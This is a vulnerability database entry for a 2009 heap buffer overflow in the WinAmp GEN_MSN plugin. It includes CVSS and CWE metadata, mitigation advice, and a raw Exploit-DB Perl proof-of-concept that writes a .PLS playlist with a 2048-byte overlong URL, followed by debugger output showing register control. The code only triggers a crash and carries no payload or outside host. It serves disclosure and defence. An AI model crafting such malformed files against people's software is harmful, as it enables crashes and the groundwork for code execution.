WinAmp GEN_MSN Plugin Heap Buffer Overflow

vendor:

GEN_MSN Plugin

by:

SkD

7.5

CVSS

HIGH

Heap Buffer Overflow

119

CWE

Product Name: GEN_MSN Plugin

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2009

WinAmp GEN_MSN Plugin Heap Buffer Overflow

A buffer overflow vulnerability was discovered in the gen_msn plugin, which is a plugin that shows what song a user is currently listening to on their PM in MSN. The vulnerability is located in the .PLS playlist file and can be exploited by sending a maliciously crafted .PLS file with an overly long URL.

Mitigation:

Update to the latest version of WinAmp GEN_MSN Plugin

Source

Exploit-DB raw data:

#!/usr/bin/perl
# WinAmp GEN_MSN Plugin Heap Buffer Overflow
# ------------------------------------
# Discovered by SkD (skdrat@hotmail.com) &
#		    (skd@abysssec.com)
# ------------------------------------
#
# I'm not much for posting PoCs because
# I like writing exploits for whatever
# I discover and if I don't, its a waste.
#
# Anyway, this buffer overflow is located
# in the gen_msn plugin, which
# is basically a plugin that shows what
# song you're currently listening to
# on your PM in MSN. The plugin has over
# 800,000 downloads so its serious..
# (http://www.winamp.com/plugins/details/144799)
# This is similar to my other recent exploit
# for VUPlayer because it uses the same point
# of the .PLS playlist file!
#
# Debug Info:
# MOV EDI,DWORD PTR DS:[ECX+EAX*4+960]
# Regs:
# EAX 00000003
# ECX 41414141   <- Clear control over the register
# EDX 007EA478
# EBX 40000001
# ESP 028F1DB0
# EBP 77230459 USER32.SendMessageA
# ESI 08FD62A8 gen_msn.08FD62A8
# EDI 00497300 UNICODE "http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
# EIP 08FD293C gen_msn.08FD293C
#
# Peace out.
#                           _________ ___   ________
#                          /   _____/|  | __\______ \
#                          \_____  \ |  |/ / |    |  \
#                          /        \|    <  |    `   \
#                         /_______  /|__|_ \/_______  /
#                                 \/      \/        \/
use strict;
use warnings;

my $overflow = "\x41" x 2048;

open(my $pls_playlist, "> poc.pls");
print $pls_playlist "[playlist]\r\n".
		    "NumberOfEntries=1\r\n".
                    "File1=http://".
                    $overflow.
                    "\r\n";
close $pls_playlist;

# milw0rm.com [2009-01-07]